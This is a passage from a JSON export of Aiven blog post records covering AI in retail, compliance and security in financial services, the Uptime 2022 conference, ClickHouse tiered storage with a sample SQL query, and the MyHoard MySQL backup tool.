infrastructure](https://aiven.io/blog/static-ip-for-your-service)\n","categories":[{"_key":"6b54389330eb","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"navigating the data maze: 5 essential questions to guide your tool selection\" in white against a blue background. Aiven's logo is in the lower left.","asset":{"_ref":"image-75aa2206243b6f7559908536d6dd8bd50b07c3f9-1567x844-png","_type":"reference"}},"publishedAt":"2024-03-05T11:43:00.000Z","related":[{"_key":"ec3208206e02","_ref":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_type":"reference"},{"_key":"67d30fc488ac","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"afd863f8b95b","_ref":"4dfda013-9792-461d-84ef-e0feb6dfad11","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Choosing the right data tool can be complex. Explore our guide to master the challenges of handling data to match your tech needs.","metaImage":{"_type":"mainImage","alt":"The words \"navigating the data maze: 5 essential questions to guide your tool selection\" in white against a blue background. Aiven's logo is in the lower left.","asset":{"_ref":"image-75aa2206243b6f7559908536d6dd8bd50b07c3f9-1567x844-png","_type":"reference"}},"metaTitle":"5 Key Questions for Data Tool Selection | Aiven"},"slug":{"_type":"slug","current":"/blog/data-tool-selection"},"subtitle":"Unraveling the complexities of handling data to match your tech needs\n","title":"Navigating the data maze: 5 essential questions to guide your tool selection"}
{"__i18n_lang":"en","_createdAt":"2024-08-14T07:34:39Z","_id":"d60a8135-7a8c-4232-903b-70fc0f255f9f","_rev":"h4ancfFTuSnQNBSq3G9WVg","_type":"post","_updatedAt":"2024-11-18T13:09:06Z","authors":[{"_key":"662214d7a6a1","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"In the last 15 years, we’ve seen slow but significant advances in AI when it comes to retail. We can all remember when AI-powered “bots” or virtual assistants began showing up on most major retail websites to assist with consumer questions and complaints. \n\nToday, it’s having a major impact on everything from reducing shrinkage and theft to personalizing the shopping experience for customers. \n\n## AI demonstrating success in retail\nAI has empowered retail businesses with really good data and information leading to remarkable success. In a [recent study](https://www.ihlservices.com/product/winning-race-of-innovation/), retailers using AI reported seeing sales more than double expectations in 2023 and anticipated a 3X increase in 2024 compared  to their competitors.\n\nIt should come as no surprise then that the global AI in [retail market size](https://www.fortunebusinessinsights.com/artificial-intelligence-ai-in-retail-market-101968) is projected to grow to more than 85 billion USD by 2032. In fact, [40% of retailers](https://www.analyticsinsight.net/intelligent-automation/80-of-companies-will-adopt-intelligent-automation-by-2025) are already leveraging intelligent automation technologies, with 80% expected to adopt it by next year. For retailers, there are three clear [priorities](https://masterofcode.com/blog/generative-ai-in-retail) for AI adoption: better CX (59%), higher productivity (49%), and cost efficiency/ ROI (44%).\n\nRealizing the potential impact of AI in an omnichannel industry where consumer expectations around experience, stock availability, and delivery times are high means one thing: real-time. \n\n## Processing data right now, not tomorrow morning\nThe retail landscape is rapidly changing and globally interconnected. For the businesses operating in this ecosystem, it means every change needs to be reflected in the data. But, because of the way the ecosystem is designed, updating the data quickly is a consistent challenge for retailers.For example, processing an online order requires the retailer to rapidly verify inventory, authorize credit card payments, confirm shipping, initiate billing, and send order confirmation, all within seconds.AI is completely changing the playing field and leading to massive improvements in day-to-day operations.\n\nRetailers are using AI to analyze customer behavior and preferences in real-time, which enables them to tailor recommendations, and marketing strategies to individual consumers. This level of personalization not only enhances customer satisfaction, but also boosts sales and customer loyalty. \n\nApplications of AI are also leading to improvements in the shopping experience. For example, cosmetics retailer [Sephora](https://www.sephora.sg/pages/virtual-artist) uses facial recognition technology to enable customers to experiment with an extensive range of makeup products. Similarly, [Google](https://blog.google/products/shopping/ai-virtual-try-on-google-shopping/#:~:text=Our%20virtual%20try%2Don%20tool,that%20resonates%20most%20with%20you.) introduced a virtual try-on feature for women’s tops from popular brands.\n\nBeyond the consumer-facing impact, retailers are feeling the benefit in areas like inventory management, where AI is being used to predict demand more accurately, optimize stock levels, and reduce waste. AI systems analyze historical sales data, market trends, and external factors like weather patterns to forecast demand. AI is also revolutionizing supply chain management. Retailers use AI to enhance logistics, from route optimization for deliveries to predictive maintenance of equipment. Real-time data analytics allow for immediate adjustments in supply chain operations, improving efficiency and reducing costs. AI-driven fraud detection is enhancing security and reducing losses for retailers. By analyzing transaction patterns in real-time, AI can identify and flag suspicious activities, helping retailers respond swiftly to potential fraud.\n\nAll of this is only possible because the right data is where it needs to be when it is needed.\n\n## Seamless success for AI-driven systems\nDespite the widespread uptake of AI, retailers can’t just press the ‘buy button’ and expect it to magically fix things. Creating personalized experiences and unlocking efficiency doesn’t happen instantly, and it certainly doesn’t happen without appropriately trained and managed data. \n\nRetailers need to consider the AI models they are using and how they’re  built (or acquired). Similarly, they need an infrastructure that enables them to update their AI models and can scale during  peak shopping periods. Failing to do so can lead to poor performance, which can have a catastrophic effect on customer spend and loyalty. [Aiven’s services](https://aiven.io/solutions/aiven-for-retail), which offer high availability and scalability, are crucial for retailers to maintain these AI-driven systems seamlessly.\n\n## ADEO speeds up development times with data\nADEO Group serves 450 million customers in 15 countries via its home improvement brands, making it the third-largest global operator in the retail sector. However, the group was struggling with data siloed across thousands of on-premises repositories and needed to unify it under one cloud data model. ADEO began building its new data ecosystem using Aiven data services running on Google Cloud. With this centralized approach to data, ADEO sped up development times and transformed the way data was connected across its retail network. Regarding this project, Julien Charlot, Head of Databases and Middleware of ADEO, said, “We’re evolving toward a data analytics-based understanding of what we sell in the store to better understand and predict the habits of our customers. We want to connect the services to the goods people buy. So now, the application will really evolve.”\n\n## Redefining the way we interact with brands\nToday’s retail journeys are characterized by their complexity and timeliness. They combine people, technology, places, and products in different ways — with each component constantly changing. It is AI that is helping retailers adapt.\n\nBy embracing AI-driven technologies and leveraging data-driven insights, retailers can create more personalized shopping experiences, optimize inventory management, enhance customer service, and drive innovation across the entire retail value chain. As AI continues to evolve, its transformative impact on the retail industry will shape the future of commerce, driving innovation and redefining the way we shop and interact with brands.\n","categories":[{"_key":"519781712dfc","_ref":"f80824ef-ed32-4267-af89-23f63b62902d","_type":"reference"},{"_key":"0fa01c2bf319","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"62fa792233c0","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-ac22b2903d03b80b3929129f0d4c2f6727ff36a3-1200x628-png","_type":"reference"}},"publishedAt":"2024-09-11T09:24:00.000Z","seo":{"_type":"metaData","metaDescription":"Real-time intelligence is no longer a nice-to-have, but necessary to to attract customers and build future-proofed retail operations","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ac22b2903d03b80b3929129f0d4c2f6727ff36a3-1200x628-png","_type":"reference"}},"metaTitle":"Unlock Retail Revenue with AI \u0026 Real-Time Data | Aiven"},"slug":{"_type":"slug","current":"/blog/retail-detail-how-ai-leverages-real-time-data-to-unlock-revenue-potential"},"subtitle":"Real-time intelligence is no longer a nice-to-have, but necessary to attract customers and build future-proofed retail operations","title":"Retail Detail: How AI Leverages Real-Time Data to Unlock Revenue Potential"}
{"__i18n_lang":"en","_createdAt":"2024-08-19T06:58:55Z","_id":"96b49d13-c145-4582-bb49-71ec502a7f36","_rev":"sEwq5NBiPauorOxrhiS9Xc","_type":"post","_updatedAt":"2024-11-19T08:20:45Z","authors":[{"_key":"f8202a0f9c67","_ref":"167bca61-78ce-412f-a44e-1495de770f99","_type":"reference"}],"body":"As explored in our two most recent blogs, changing **compliance regulations and policies by specific regions and countries are having a significant impact on financial services institutions** (FSIs). This regulatory change puts a further squeeze on FSI budgets, with operational resilience rules already in effect in the UK and commencing in Australia in 2025 with CPS 230/234. Maintaining operational security and reducing the impact of risk events continues to be brought to the forefront of the finance industry in recent months.  \n\nThe recent [Deloitte Report, 2023 Cybersecurity for financial services survey](https://www.deloitte.com/global/en/services/risk-advisory/perspectives/cybersecurity-insights-budgets-benchmarks-financial-services-institutions.html), highlights this focus, finding cybersecurity budgets are more constrained when compared to previous years. After digital transformation, regulatory pressure is the most important business driver, and cybersecurity functions are increasingly focusing on business impact and risk, not just technology challenges.\n\nNoting the intersection of security and regulatory risk reduction, the report states, “Regulatory drivers account for more than half of the cybersecurity budget at 46% of the firms surveyed in 2023, not far short of the 54% who report that strategic priorities are dominant.”\n\nIn this blog, **we’ll take a closer look at how compliance, risk, and security intersect  through the ICT lens**, including the important consideration of how to best secure data within an organization .\n\n\n## Don’t underestimate the impact of vendor choice\n\nThere are teams within an average FSI organization that are completely dedicated to managing risk, however, within the ICT team there is a different perspective on risk. This perspective includes guaranteeing uptime, availability, security of data, contractual stability, and management of costs. It’s about ensuring there are ample resources available and they’re well managed.  \n\nAn important part of mitigating risk for any FSI is to carefully review supplier contracts. Keep in mind that third party vendors can still introduce risk to your organization regardless of the contract imposed or what the vendor promises.  \n\nIn some cases, clients will try to lessen the number of vendors they engage with to avoid acting as a system integrator. However, going all-in on one vendor presents its own risks/challenges, particularly when thinking about your cloud vendor requirements. For instance, a region may go offline, or you may lose your pricing leverage and the ability to make a deal, and even in the midst of overspending the cost to move can outweigh the benefit of doing so.  \n\nTo avoid being locked into a single provider, **FSIs must choose technologies that are easy to resource and vendor agnostic, like open source solutions**. By using open source technologies, organizations can:\n\n1. Take advantage of widely-adopted technologies that are commonplace, well understood, and supported by broad communities\n2. Eliminate the reliance on proprietary software from a single vendor\n3. Reduce the need for high cost vendor-specific skills\n\n\n\n## The role and rationale for security mandates\n\n**While the compliance and risk team sets policies, it's up to the security team to implement them.** For example, a policy sets data encryption requirements and the security team must ensure that data is encrypted both at rest and in motion. Another policy may define who can access certain datasets, and the security team must implement detailed and granular access control lists and be able to perform detailed audits to prove compliance with the policy. Another example is Personal Private Information (PPI) compliance, where security teams must be able to mask or anonymize PPI information and demonstrate compliance with data privacy mandates.\n \nWith new regulations around data sovereignty and transfer between regions, having control over where your data lives is perennially important. Data sovereignty refers to the right of a group or individual to control the collection, storage, and interpretation of their data, subject to the laws of where that data is collected. This includes data such as personal information, intellectual property, or financial data. FSIs must comply with data sovereignty regulations both when data is collected and stored, and when transferred between regions for high availability or disaster recovery purposes.\n\n**To create relevant mandates and policies, security teams must first know where data lives.** Is it running in the customer’s private cloud environment or the service provider's environment? How much control does the business have over the data? Can the business lock the service provider out of it if needed?  \n \nAt Aiven, we offer various options to ensure the objectives across security, technology, and risk teams are met. For instance, the [Bring Your Own Cloud (BYOC)](https://aiven.io/platform?t=byoc) deployment option ensures the business can run a service within their cloud account and retain total control, limiting access to data and actions that Aiven can take. More specifically, Aiven can continue to monitor the services running, backups, and more within the customer’s cloud account, but the customer can restrict Aiven’s access to sensitive data or systems by clicking ‘remove access entirely’ if they deem it necessary.\n\n\n## Saving on money and risk with the right partner\n\nAs highlighted in [Forrester’s The Total Economic Impact of the Aiven Platform](https://aiven.io/report/the-total-economic-impact-of-the-aiven-platform), choosing the right managed services partner can help FSIs save significantly on reducing risk events and supporting teams.\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/338fcf56aa063f8ede6da2db00b35aa79452fd62-1871x1328.png)\n\n\nAs the report says, “Severe adverse events are uncommon, but nonetheless occur. The composite organization experiences an average impact value of $300,000 and four adverse events in Year 1, two in Year 2, and one in Year 3.” Because of this, the present value savings of increased reliability and resilience over three years amounts to $1.6 million. Adding up the total quantifiable risk-adjusted present value (PV) benefits for the composite organization over three years amounts to $5.4 million with a payback period of less than six months.\n\n[Aiven takes a security-first approach](https://aiven.io/security-compliance). **We provide dedicated virtual machines instead of multi-tenant virtual machines, automated security updates, and annual security testing.** All data is fully encrypted end-to-end at rest and in transit, including support for Dedicated VPC Peering on Aiven Cloud to provide fine grained network access control. These features help certify Aiven’s compliance with global standards, including ISAE 3000, ISO27K, GDPR, CCPA, HIPAA and PCI DSS.\n\nOur customers choose Aiven because we:\n* Simplify data infrastructure across one or multiple clouds through a unified platform\n* Offer widely-adopted open source technologies to reduce reliance on proprietary solutions and high cost vendor-specific skills\n* Provide automatic software updates with zero downtime to ensure software remains up-to-date and compliant\n* Backup data to three availability zones for high availability and disaster recovery\n* Secure data end-to-end, at rest and in motion\n* Provide 24/7/365 support anywhere in the world\n\nTo see how you can improve your security and risk management while also maximizing your tech spend, [contact Aiven](https://aiven.io/contact).\n\n\n","categories":[{"_key":"ed48fd325dfd","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"e3f3a9a0f8bb","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"},{"_key":"83645ca2799f","_ref":"c8ba2bda-6228-45e2-b987-b3fdf836c6c9","_type":"reference"},{"_key":"b046a01aa2c2","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"The Intersection of Compliance and Risk vs Security in Financial Services","asset":{"_ref":"image-b7a2ccae6a35b3043cf5acaffe90240d05cde743-1567x844-png","_type":"reference"}},"publishedAt":"2024-08-20T01:27:06.217Z","related":[{"_key":"bab450f51624","_ref":"c714d04b-cc8e-46fe-9d59-bbb0b097127e","_type":"reference"},{"_key":"67431ae95c42","_ref":"ea45396f-c903-489e-97be-3cd4dc25e6fe","_type":"reference"},{"_key":"5964861ccb33","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"FSIs face compliance, budget, and security challenges. Learn how open-source technology and reliable partners like Aiven help tackle these issues.","metaImage":{"_type":"mainImage","alt":"The intersection of compliance and risk VS security in Financial Services","asset":{"_ref":"image-b7a2ccae6a35b3043cf5acaffe90240d05cde743-1567x844-png","_type":"reference"}},"metaTitle":"Compliance, Risk \u0026 Security in Finance | Aiven"},"slug":{"_type":"slug","current":"/blog/the-intersection-of-compliance-and-risk-vs-security"},"subtitle":"FSIs face rising compliance demands, squeezing budgets and cybersecurity risks. Open-source tech and careful vendor selection can mitigate these challenges.","title":"The Intersection of Compliance and Risk vs Security in Financial Services"}
{"__i18n_lang":"en","_createdAt":"2022-09-30T15:37:06Z","_id":"2dFtRWHuCVmx9uJEVFGkRx","_rev":"sEwq5NBiPauorOxrhj7URA","_type":"post","_updatedAt":"2024-11-19T11:54:07Z","authors":[{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"On September 14 - 15, Aiven ran our first conference with the aim of bringing open source data technology communities together, all in one place. Pakhuis de Zwijger in Amsterdam was the perfect location for data enthusiasts to meet, learn and mingle over two days packed with talks, workshops, and geeky chat.\n\n![uptime-01-Pakhuis-de-Zwijger](//cdn.sanity.io/images/sczeoy4w/production/539f6080f6abc17f99a242436a7361c0dd5a2f39-2908x1330.jpg)\n*Pakhuis de Zwijger, Amsterdam*\n\n## Bring the best open source data technology\nWe had some really great content covering some of the best-known technologies in the open source data space. Technologies like [PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql \"What is PostgreSQL®?\"), [Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka \"What is Apache Kafka®?\"), [OpenSearch®](https://aiven.io/blog/introduction-to-opensearch \"Introduction to OpenSearch®\"), [ClickHouse®](https://aiven.io/blog/what-is-clickhouse \"What is ClickHouse®?\"), and [MySQL](https://aiven.io/blog/what-is-mysql \"What is MySQL? Get the basics here\"). We really wanted to bring a wide range of technologies to the audience, and were pleased to include in the schedule tools like Apache Pinot for real-time analytics, Apache Pulsar, Apache NiFi, Debezium, Vespa, and Grafana k6 for load testing.\n\n![uptime-02-snapshots](//cdn.sanity.io/images/sczeoy4w/production/2a2ec8cd386fbe860e808ddc6b16e85f20ba6440-4016x2684.jpg)\n*Snapshots from the event. From left to right: Lorna Mitchell during the opening notes, Elisa Usai applauding for a talk, Karin Wolok presenting on stage, and Arlemi Turpault helping out workshop participants.*\n\nWe had sessions on storage, streaming, how to make any of that even work on Kubernetes, but also observability and … dataviz bingo? You’re going to have to wait a bit while our talk recordings start to appear on the [Uptime YouTube channel](https://youtube.com/channel/UCJFoY7QwNVQtNc3T5H6MImg \"Uptime on YouTube\"), but until then find out what resources and stories were shared by our speakers [on Twitter](https://twitter.com/hashtag/UPTIME2022 \"The Uptime hashtag on Twitter\"). \n\nAiven shared an exciting update during the event too: we were proud to announce that [a Beta version of our Aiven for ClickHouse® service is now available](https://aiven.io/blog/aiven-for-clickhouse-beta-now-available \"Aiven enters cloud data warehousing marketing with open source ClickHouse® Beta\") for anyone to try. Olena Kutsenko, Developer Advocate at Aiven, and ClickHouse CTO Alexey Milovidov both led in-depth sessions on ClickHouse during Uptime.\n\nWe’d like to thank all of the speakers and workshop facilitators for bringing excellent content, and our keynote speakers for taking a chance on a first-time event.\n\n![uptime-03-keynotes](//cdn.sanity.io/images/sczeoy4w/production/a69cafa2eb4dd8da5bd273bdad33a5b9f4cc0c1c-4032x2692.jpg)\n*Keynote speakers: Dirk-Willem van Gulik, Jason Yee, Rob Barnes, and Amanda Brock*\n\nDirk-Willem van Gulik, the Apache Software Foundation’s co-founder and first president, talked about how transparency was key in the Dutch Ministry of Health’s COVID-19 response.\n\nOpenUK CEO Amanda Brock celebrated open technology and global collaboration, but also shared a caution about the ramifications of the Open Source Definition.   \n\nStaff Technical Evangelist at Datadog, Jason Yee, compared the open source community to the largest organism in the world ([Pando](https://en.wikipedia.org/wiki/Pando_(tree) \"The Trembling Giant\")), except that we’re much better suited to cope with challenges thanks to our diversity.\n\nAnd Rob Barnes, Senior Developer Advocate at HashiCorp, taught us how to fend off cyber attacks with open source technology.\n\n## It’s all about the community\nWe were delighted at the support from our sponsors, workshop-, media-, and community partners. In no particular order:\n- [Postman](https://www.postman.com/)\n- [Exoscale](https://www.exoscale.com/)\n- [Axual](https://axual.com/)\n- [UpCloud](https://upcloud.com/)\n- [OpenSearch](https://opensearch.org/)\n- [Conduktor](https://www.conduktor.io/)\n- [LightDash](https://www.lightdash.com/)\n- [Berlin Buzzwords](https://2022.berlinbuzzwords.de/)\n- [The Open Source Initiative](https://opensource.org/)\n- [HashiCorp User Group Amsterdam](https://www.meetup.com/Amsterdam-HashiCorp-User-Group/)\n- [DataTalks Club](https://datatalks.club/)\n- [The ClickHouse Meetup](https://www.meetup.com/pro/clickhouse/)\n- [IT Daily](https://www.it-daily.net/) \n\nBringing Accessibility sponsors on board allowed us to get both tracks, and all talks, live captioned. These captions are enabled for the talk recordings as well. Thank you!\n\nOur Diversity Scholarship provided support to those from traditionally underrepresented groups in the technical open source community, including but not limited to persons identifying as LGBTQIA+, women, persons of color, and/or persons with disabilities. We were able to bring 13 individuals to Uptime.\n\n## Giving back to open source\n\nAll proceeds from registration fees were donated to open source foundations:\n\n- The Apache Software Foundation\n- The Open Source Initiative\n- The Linux Foundation\n\nAs a commercial organization built on the shoulders of open source projects, Aiven considers itself an important part of a healthy ecosystem and the [open source community](https://aiven.io/open-source \"Aiven and Open Source\"). We are proud to play our part in this and to be a positive force in many other ways. \n\n![uptime-04-networking](//cdn.sanity.io/images/sczeoy4w/production/c18e9fd7221639ae488e987cfb3d726750c9777c-4004x1330.jpg)\n*Uptime participants networking during the breaks*\n\nJudging by the hallway discussions, we can look forward to a number of interesting collaborations following the connections that were made at the event. Hettie Dombrovskaya, Database Architect at DRW, after years of advocating for an ORM alternative, launched the NORM (No-ORM) project on the first day of the conference, sparking both interest and discussion. \n\n## What’s next?\n\nFollow our [Uptime Twitter feed](https://twitter.com/uptimecon/) to stay informed about upcoming activities, next year's event (spoiler: there will be an Uptime 2023), the Call for Speakers, and more. Subscribe to our [YouTube channel](https://youtube.com/channel/UCJFoY7QwNVQtNc3T5H6MImg) and get notified once we upload the talk recordings. \n\n--\n\nIf you have any other feedback or questions, drop in on Aiven at [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure to follow our [blog](https://aiven.io/blog) RSS feeds, and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-28T00:00:00.000Z","seo":{"metaDescription":"Get insights from our first open source event, Uptime 2022, where industry leaders discussed data innovation and technology. Find out more in the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_type":"reference"}},"metaTitle":"Uptime 2022, First Open Source Data Technology Event | Aiven"},"slug":{"_type":"slug","current":"/blog/all-about-aivens-first-open-source-data-technology-event-uptime-2022"},"subtitle":"In September we headed to Amsterdam to host our first - but not our last! - Uptime conference.","title":"All about Aiven's first open source data technology event: Uptime 2022"}
{"__i18n_lang":"en","_createdAt":"2024-09-20T17:05:47Z","_id":"a838f74f-9ee3-474d-be9d-fb39629e0432","_rev":"ZhxRwgWPklJwoe04lnuAlZ","_type":"post","_updatedAt":"2024-11-28T09:59:34Z","authors":[{"_key":"c75db7074797","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"ClickHouse® combines its columnar design, industry leading compression, and blazing fast queries to make it one of the most performant data warehouse solutions available. Aiven for ClickHouse® takes this a step further with tiered storage, now generally available in the Aiven console. Enabling tiered storage allows you to optimize your costs by using object storage in tandem with existing SSD storage for the best of both worlds.\n\n## Tiered storage overview\n\nTiered storage can be enabled on a per-table basis either from within the Aiven console, or on the command line with the ClickHouse client. Once enabled, data will be distributed between SSDs and object storage based on your defined data threshold.\n\nBy default, once an Aiven for ClickHouse instance's SSDs hit 80% capacity, data will be automatically moved to object storage. This behavior can be further refined by [creating an explicit TTL](https://aiven.io/docs/products/clickhouse/howto/configure-tiered-storage), where all data older than a user-defined interval is moved to object storage on a recurring basis. Data can also be [manually moved to object storage](https://aiven.io/docs/products/clickhouse/howto/transfer-data-tiered-storage) as needed for any one-off use cases.\n\nAt any point you can check the distribution of data in your Aiven for ClickHouse tables from within the Aiven console. You can also query this data via the ClickHouse client like so:\n\n```\nSELECT\n    database,\n    table,\n    disk_name,\n    formatReadableSize(sum(data_compressed_bytes)) AS total_size,\n    count(*) AS parts_count,\n    formatReadableSize(min(data_compressed_bytes)) AS min_part_size,\n    formatReadableSize(median(data_compressed_bytes)) AS median_part_size,\n    formatReadableSize(max(data_compressed_bytes)) AS max_part_size\nFROM system.parts\nGROUP BY\n    database,\n    table,\n    disk_name\nORDER BY\n    database ASC,\n    table ASC,\n    disk_name ASC\n```\n\nWhich should provide output similar to:\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/33a19707652e2ca062dbdeccd7505e8a924a9c4a-1852x232.png)\n\n\n## Example use case: logs\n\nSo, when would you want to use tiered storage in your environment? Any time you might want to trade query performance for cost optimization. For example: logs.\n\n\nAiven for ClickHouse is already a great option for logs. There's an [OpenTelemetry ClickHouse exporter](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/exporter/clickhouseexporter), for example, that can be combined with the [ClickHouse plugin in Aiven for Grafana](https://grafana.com/grafana/plugins/grafana-clickhouse-datasource/) to visualize queries and create logging dashboards very quickly. The trick becomes keeping that logging solution cost effective.\n\nOften an organization will have a retention policy that requires them to keep logs for months or years, but the most of the queries and analytics they run only apply to the most recent data in the table. As such, keeping the entirety of their logs on SSDs could get very costly without diminishing returns, as the vast majority of the data they're storing is rarely accessed.\n\nThe solution in this case would be to determine roughly how far back in time the average query is interested in, and define that as a TTL for triggering tiered storage. Any data older than that TTL is stored on object storage and still accessible, if slightly less performant, and the latest data is kept on SSDs so that investigating emergent issues is as fast as possible.\n\n\n## Get started with tiered storage\n\nYou can learn more about tiered storage in the [Aiven for ClickHouse documentation](https://aiven.io/docs/products/clickhouse/concepts/clickhouse-tiered-storage).\nIf you have any questions about configuring tiered storage on your services, don't hesitate to reach out to support@aiven.io.","categories":[{"_key":"48c36cc021c7","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"bcaed67dd0ba","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"d873a8f82d03","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-6d6045413ef85c1b6d9171e8ca7153b145b9685d-1200x628-png","_type":"reference"}},"publishedAt":"2024-09-24T14:00:00.000Z","related":[{"_key":"f5cc8fbbaa12","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"},{"_key":"125ce6871cdc","_ref":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_type":"reference"},{"_key":"fa277ef6f198","_ref":"a6e96484-2c71-4574-9297-d68a69f822d7","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for ClickHouse® now offers tiered storage, merging speed with cost-efficient object storage. Find out more and visit our blog!","metaTitle":"Cost-Effective Data Retention with Aiven for ClickHouse®"},"slug":{"_type":"slug","current":"/blog/cost-effective-data-retention-with-aiven-for-clickhouse-tiered-storage"},"subtitle":"Tiered storage is now generally available in Aiven for ClickHouse®. Combine the speed of ClickHouse with the cost optimization of object storage for a powerful data warehouse solution.","title":"Cost Effective Data Retention with Aiven for ClickHouse® Tiered Storage"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1i9IaqeHcQuBRkkb08Oioz","_rev":"h4ancfFTuSnQNBSq3GAIYm","_type":"post","_updatedAt":"2024-11-18T13:14:02Z","authors":[{"_key":"5CgR9oYqHG3BdSgCehqmQt","_ref":"5CgR9oYqHG3BdSgCehqmQt","_type":"reference"}],"body":"We at Aiven are big believers in Open Source. Not only do we provide Open Source databases as a service, we are contributors to several of those and many related projects. Additionally, we open source our in-house tools we've developed to provide Aiven services whenever we can.\n\nAvailable under Apache License Version 2.0, our latest tool is [MyHoard](https://github.com/aiven/myhoard), the daemon we use to create, manage and restore MySQL backups. In this post we cover our requirements and how we went on to accomplish fully automated MySQL backups with MyHoard.\n\n## Aiven's operational model and requirements\n\nThe model with which Aiven operates services differs quite a bit from how traditional on-premise databases have been hosted where relational database master servers have been expected to remain operational for extended periods of time and replacing them has been an exceptional situation.\n\n__This often means the process is not well automated, safe or repeatable.__ We on the other hand expect servers to potentially fail at any time and also perform major updates in a rolling forward fashion that causes the old master servers to be replaced.\n\n\u003e To cope with both expected and unexpected server failures, we work hard towards perfecting the failover scenarios so that they're as seamless as possible.\n\nFor controlled failovers, we cover various steps on both the old and new masters before and after the promotion to ensure no data loss and as little downtime as possible. __By the time of writing,__ controlled failovers are usually completed so that service unavailability is around 5 seconds.\n\nOne of the properties of seamless failovers is keeping backups working like nothing out of the ordinary happened. We provide point-in-time recovery (PITR) that allows recovering to any point in time within the backup history window (2-30 days depending on service plan) and this also needs to work at the time just around a failover.\n\nAlso, should the newly promoted master fail quickly, the backup must be valid and at least include almost all changes from it. Consequently, requiring a full backup on the newly promoted master is not an option because it could take an extended period of time.\n\nOf course, everything needs to be compressed and encrypted – we run an encrypted file system and don't rely on the MySQL encryption features that were introduced in the recent 8.0.x versions. All major cloud storages must also be supported as backup target / source. None of the existing solutions -- not that there were many to choose from -- fit our requirements just right, so we created our own.\n\n## MyHoard's main functionalities\n\nTo get started you first need to get a full snapshot of the database. MyHoard uses [Percona XtraBackup](https://www.percona.com/software/mysql-database/percona-xtrabackup) for this part because it does a great job. Both backup and restore operations use direct streaming so that no extra disk space is needed, which required [extending XtraBackup to fully support this](https://github.com/percona/percona-xtrabackup/pull/607).\n\nHowever, creating and restoring the snapshot only gets you so far. You still need scheduling, removing old backups based on backup count / age, retrying operations, monitoring, etc. -- all of which MyHoard handles.\n\nOnce done with the snapshot, you need to take care of the continuous changes happening on top of the snapshot, i.e. binary logs. The way binary logs are managed tends to be somewhat naive: usually, new binary logs are just uploaded as is when new files are created on disk. __On the surface, this is what MyHoard does as well.__ But, there is more to this than meets the eye.\n\nMyHoard not only uploads, compresses and encrypts binary logs, it also scans the files to keep track of which transactions (GTIDs) the binary log files contain, as well as the timestamp of the first and last transactions in the file. This metadata can later be used when performing PITR to automatically pick the right target file based on recovery target time.\n\n\u003e MyHoard also ensures that binary logs are rotated within a reasonable amount of time.\n\nBy default MySQL creates new binary log files when a certain size threshold is exceeded. But, in environments with a fairly low change rate, it can take a long time to exceed the threshold and data could get lost for a long window of time if the server failed before the binary log got uploaded. MyHoard requests MySQL to switch to the next binary log if no changes were performed in a configured amount of time (5 minutes by default) to have a known maximum data loss window for single node services.\n\nTo ensure all of the binary logs can be backed up and replicated, a reasonably high binary log retention period should be used to ensure that the files aren't removed before they're processed. __MySQL's default value is as high as 30 days.__ Once the binary logs have been replicated and backed up they're typically no longer needed on the master, but there's also nothing that would clean them up until the MySQL retention threshold is exceeded.\n\n\u003e While keeping old binary logs for long periods of time may not be an issue in environments with a low number of changes, some environments may generate more data in a day as binary logs than there is data in the actual database.\n\n__To avoid excessive disk usage by binary logs that are no longer needed,__ MyHoard automatically purges binary logs that have been backed up. It is even possible to pass MyHoard replication state info for other cluster nodes to ensure it can never purge binary logs that still might be required for some standby or standalone read replica server.\n\nStandby servers must also be configured to write binary logs because when the master fails and a standby is promoted, there might be some other standby server or separate read replica that had not replicated as far as the new master had. If the new master didn't have binary logging enabled, the servers that were behind it in replication couldn't catch up and would need to be re-initialized somehow, causing a potentially long period of a lower-than-expected level of high 